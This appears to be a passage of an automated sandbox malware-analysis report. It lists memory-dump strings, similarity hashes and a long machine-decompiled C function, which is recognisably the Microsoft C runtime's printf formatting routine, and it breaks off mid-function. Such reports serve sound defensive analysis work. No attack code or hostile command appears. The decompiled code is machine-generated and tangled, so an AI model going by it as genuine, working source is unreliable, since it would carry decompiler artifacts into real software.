HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 0041C487
Client hook free failure., xrefs: 0041C32C
_CrtIsValidHeapPointer(pUserData), xrefs: 0041C361
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 0041C2D9
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 0041C3BF
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C449
tDj, xrefs: 0041C30B
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 0041C57A
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C503
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 0041C541

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ$tDj
API String ID: 25084783-3417358119
Opcode ID: 53afec49f25ed11a793c0d19b28a675c0cd9a41ed180ea8b66a6124fe9fb7620
Instruction ID: 9f20d1ff814f4a55b8b3c246a871b81cc951692be44f5a7161f5833d05dc43b1
Opcode Fuzzy Hash: 53afec49f25ed11a793c0d19b28a675c0cd9a41ed180ea8b66a6124fe9fb7620
Instruction Fuzzy Hash: 3E91B674B80204FBDB24CB44DDC6FAA7366AB48704F304159F605AB2C2D2B5EE80DB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00434AC7, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00434AC7(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t494;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t529;
				signed int _t547;
				void* _t558;
				signed int _t567;
				void* _t625;
				void* _t626;
				signed int _t627;
				void* _t629;
				void* _t630;

				L0:
				while(1) {
					L0:
					_t626 = __esi;
					_t625 = __edi;
					_t558 = __ebx;
					_t494 = E00428150(_t627 + 0x14);
					_t630 = _t629 + 4;
					 *(_t627 - 0x298) = _t494;
					if(E00433CF0() != 0) {
						goto L118;
					}
					L109:
					__edx = 0;
					if(0 == 0) {
						 *(__ebp - 0x32c) = 0;
					} else {
						 *(__ebp - 0x32c) = 1;
					}
					__eax =  *(__ebp - 0x32c);
					 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
					if( *(__ebp - 0x29c) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E000();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x29c) != 0) {
						L117:
						while(1) {
							L190:
							if( *(_t627 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t627 - 0x10) & 0x00000040) != 0) {
								if(( *(_t627 - 0x10) & 0x00000100) == 0) {
									if(( *(_t627 - 0x10) & 0x00000001) == 0) {
										if(( *(_t627 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t627 - 0x14)) = 0x20;
											 *(_t627 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t627 - 0x14)) = 0x2b;
										 *(_t627 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t627 - 0x14)) = 0x2d;
									 *(_t627 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t627 - 0x2c4)) =  *((intOrPtr*)(_t627 - 0x18)) -  *(_t627 - 0x24) -  *(_t627 - 0x1c);
							if(( *(_t627 - 0x10) & 0x0000000c) == 0) {
								E00428080(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
							}
							E004280C0( *(_t627 - 0x1c), _t627 - 0x14,  *(_t627 - 0x1c),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
							_t630 = _t630 + 0x10;
							if(( *(_t627 - 0x10) & 0x00000008) != 0) {
								if(( *(_t627 - 0x10) & 0x00000004) == 0) {
									E00428080(0x30,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
									_t630 = _t630 + 0x10;
								}
							}
							if( *(_t627 - 0xc) == 0) {
								L212:
								E004280C0( *((intOrPtr*)(_t627 - 4)),  *((intOrPtr*)(_t627 - 4)),  *(_t627 - 0x24),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t627 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t627 - 0x2dc) = 0;
								 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 4));
								 *(_t627 - 0x2cc) =  *(_t627 - 0x24);
								while(1) {
									L206:
									 *(_t627 - 0x2cc) =  *(_t627 - 0x2cc) - 1;
									if( *(_t627 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t627 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t627 - 0x2c8))));
									_t547 = E00434010(_t627 - 0x2d0, _t627 - 0x2d8, 6,  *(_t627 - 0x32e) & 0x0000ffff);
									_t630 = _t630 + 0x10;
									 *(_t627 - 0x2dc) = _t547;
									 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 0x2c8)) + 2;
									if( *(_t627 - 0x2dc) != 0) {
										L209:
										 *(_t627 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t627 - 0x2d0) != 0) {
										L210:
										E004280C0( *((intOrPtr*)(_t627 + 8)), _t627 - 0x2d8,  *(_t627 - 0x2d0),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t627 - 0x24c) >= 0) {
									if(( *(_t627 - 0x10) & 0x00000004) != 0) {
										E00428080(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
									}
								}
							}
							L216:
							if( *(_t627 - 0x20) != 0) {
								L0041C1C0( *(_t627 - 0x20), 2);
								_t630 = _t630 + 8;
								 *(_t627 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
								_t598 =  *(_t627 - 0x251);
								 *(_t627 + 0xc) =  *(_t627 + 0xc) + 1;
								if( *(_t627 - 0x251) == 0 ||  *(_t627 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t627 - 0x251) < 0x20 ||  *(_t627 - 0x251) > 0x78) {
										 *(_t627 - 0x310) = 0;
									} else {
										 *(_t627 - 0x310) =  *( *(_t627 - 0x251) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t627 - 0x250) =  *(_t627 - 0x310);
								_t509 =  *(_t627 - 0x250) * 9;
								_t567 =  *(_t627 - 0x25c);
								_t598 = ( *(_t509 + _t567 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t627 - 0x25c) = ( *(_t509 + _t567 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t627 - 0x25c) != 8) {
									L16:
									 *(_t627 - 0x318) =  *(_t627 - 0x25c);
									if( *(_t627 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t627 - 0x318) * 4 +  &M00435350))) {
										case 0:
											L18:
											 *(_t627 - 0xc) = 0;
											_t512 = E00431000( *(_t627 - 0x251) & 0x000000ff, E0041AAD0(_t627 - 0x40));
											_t633 = _t630 + 8;
											__eflags = _t512;
											if(_t512 == 0) {
												L24:
												E00427FE0( *(_t627 - 0x251) & 0x000000ff,  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t630 = _t633 + 0xc;
												goto L218;
											} else {
												E00427FE0( *((intOrPtr*)(_t627 + 8)),  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t633 = _t633 + 0xc;
												_t572 =  *( *(_t627 + 0xc));
												 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
												_t598 =  *(_t627 + 0xc) + 1;
												__eflags = _t598;
												 *(_t627 + 0xc) = _t598;
												asm("sbb eax, eax");
												 *(_t627 - 0x27c) =  ~( ~( *(_t627 - 0x251)));
												if(_t598 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t524 = L0041E000();
													_t633 = _t633 + 0x14;
													__eflags = _t524 - 1;
													if(_t524 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t627 - 0x27c);
												if( *(_t627 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422AF0(_t572))) = 0x16;
													E00422880(_t558, _t572, _t625, _t626, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t627 - 0x2f4) = 0xffffffff;
													E0041AAA0(_t627 - 0x40);
													_t502 =  *(_t627 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t73 = __ecx + 0x435388; // 0x498d04
											__edx =  *_t73 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00435370))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t97 = __ecx - 0x30; // -48
												__edx = __eax + _t97;
												 *(__ebp - 0x18) = __eax + _t97;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t108;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t116 = __ecx + 0x4353b0; // 0x4bbe9003
											__edx =  *_t116 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M0043539C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t627 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t157 =  *(__ebp - 0x324) + 0x43541c; // 0xcccccc0d
											__ecx =  *_t157 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M004353E0))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L88:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L90;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													L81:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x288) = E00428150(__ebp + 0x14);
													__eflags =  *(__ebp - 0x288);
													if( *(__ebp - 0x288) == 0) {
														L83:
														__edx =  *0x440f80; // 0x404448
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
														L87:
														goto L190;
													}
													L82:
													__ecx =  *(__ebp - 0x288);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														L84:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L87;
													}
													goto L83;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B540(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AAD0(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0x2c9cf96e
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AAD0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0xac9cf9bd
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AAD0(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0xac9cf9c2
																	E00424340(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
															do {
																L190:
																if( *(_t627 - 0x28) != 0) {
																	goto L216;
																}
																goto L191;
															} while ( *(__ebp - 0x324) > 0x37);
															goto L72;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E00428150(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E00428190(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E00434010(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													goto L0;
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L90:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428150(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L101:
														__eflags =  *(__ebp - 4);
